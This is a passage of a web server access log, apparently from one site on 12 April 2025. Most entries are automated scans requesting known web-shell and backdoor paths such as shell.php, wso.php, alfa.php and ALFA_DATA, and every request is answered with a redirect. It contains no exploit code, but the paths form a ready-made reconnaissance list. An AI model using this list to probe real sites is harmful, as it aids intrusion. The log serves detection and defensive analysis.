"-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:52 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:53 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:56 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:56 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:57 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:59 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:00 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:02 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:03 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:04 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:08 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:12 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:17 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:24 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:29 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:31 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:33 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:36 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:37 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:39 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:40 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:40 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:44 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:44 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:45 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:46 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:47 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:49 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:50 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:52 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:54 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:56 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:56 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:56 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:58 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:59 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:59 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:37:59 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:00 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:00 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:01 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:01 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:02 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:03 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:05 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:06 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:06 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:07 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:08 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:10 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:15 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:17 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:18 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:19 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:20 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:22 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:23 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:24 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:27 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:28 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:29 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:30 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:32 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:33 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:35 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:35 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:36 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:38 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:40 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:42 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:43 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:44 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:45 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:48 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:56 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:38:58 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:00 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:01 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:02 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:05 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:06 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:07 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:08 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:09 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:10 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:12 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:13 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:15 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:16 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:17 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:19 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:20 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:23 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:24 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:27 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:28 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:29 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:30 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:31 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:33 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:35 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:37 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:40 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:42 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:44 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:44 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:46 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:49 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:53 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:54 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:57 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:39:59 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:00 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:03 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:05 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:06 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:08 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:12 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:15 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:16 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:17 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:17 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:20 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:24 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:24 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:26 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:26 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:28 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:29 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:30 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:30 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:33 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:35 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:39 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:42 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:40:44 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 45.8.19.63 - - [12/Apr/2025:14:45:31 -0400] "HEAD / HTTP/1.1" 301 0 "http://designpitara.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 45.8.19.63 - - [12/Apr/2025:14:45:35 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 66.249.79.101 - - [12/Apr/2025:14:46:52 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.102 - - [12/Apr/2025:14:46:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.0.232.217 - - [12/Apr/2025:15:14:53 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:15:41 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:15:54 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:15:58 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:16:41 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:17:13 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:17:42 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:17:45 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:18:03 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:15:20:01 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 198.235.24.27 - - [12/Apr/2025:16:11:44 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 165.154.226.145 - - [12/Apr/2025:16:16:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 173.249.43.220 - - [12/Apr/2025:16:20:58 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 173.249.43.220 - - [12/Apr/2025:16:21:07 -0400] "GET /simple.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 198.235.24.51 - - [12/Apr/2025:16:42:32 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 77.238.230.6 - - [12/Apr/2025:16:57:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 114.119.136.141 - - [12/Apr/2025:16:59:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 91.84.104.205 - - [12/Apr/2025:17:02:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 18.191.199.234 - - [12/Apr/2025:17:18:17 -0400] "GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 18.223.108.59 - - [12/Apr/2025:17:26:58 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 54.148.1.221 - - [12/Apr/2025:17:43:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 195.191.219.131 - - [12/Apr/2025:18:03:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [12/Apr/2025:18:03:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [12/Apr/2025:18:03:36 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.131 - - [12/Apr/2025:18:03:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 170.106.11.6 - - [12/Apr/2025:18:23:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.222.47 - - [12/Apr/2025:18:27:27 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:28 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:29 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:30 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:32 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:34 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:34 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:35 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:36 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:37 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:38 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:39 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:40 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:41 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:42 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:42 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:43 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:44 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:45 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:45 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:46 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:46 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:47 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:47 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:48 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:48 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:49 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:49 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:50 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:50 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:51 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:51 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:52 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:52 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:53 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:53 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:54 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:55 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:56 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:57 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:58 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:59 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:27:59 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:00 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:01 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:01 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:02 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [12/Apr/2025:18:28:03 -0400] "GET 